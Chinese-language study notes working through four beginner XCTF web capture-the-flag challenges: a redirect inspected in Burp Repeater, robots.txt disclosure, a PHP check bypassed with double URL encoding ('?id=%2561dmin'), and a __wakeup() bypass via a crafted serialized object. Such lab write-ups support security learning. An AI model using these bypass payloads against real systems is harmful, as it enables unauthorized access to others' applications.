目录
(一)baby_web
Knowledge:
1、index.php一般为php的初始页面
1.输入URL
发现网页直接跳转到1.php
2. 抓包(index.php)
3.放到Repeater模块
4. 发现flag但是隐藏了
(二)Training-WWW-Robots
Knowledge:
1.在URL后面加上robots.txt
2. 在URL后面加上/fl0g.php
(三). PHP2
Knowledge:
代码发现,御剑使用
1. 先扫描

2.分析代码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
第一步,要使得
"admin"===$_GET[id]
不成立第二步,经过
$_GET[id] = urldecode($_GET[id]);
,使得$_GET[id] == "admin"
成立。二次编码:
urldecode(%2561)=%61
urldecode(%61)=a
?id=%2561dmin
(四)unserialize3
Knowledge:
1.分析源码
看见__wakeup()就知道涉及到序列化、反序列化
执行unserialize()反序列化时,先会调用__wakeup()函数
2. 得到序列化内容
__wakeup()漏洞:当序列化字符串所表示的对象, 其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行
将变量1改为2或者其他大于1的数字
?code=O:4:"xctf":4:{s:4:"flag";s:3:"111";}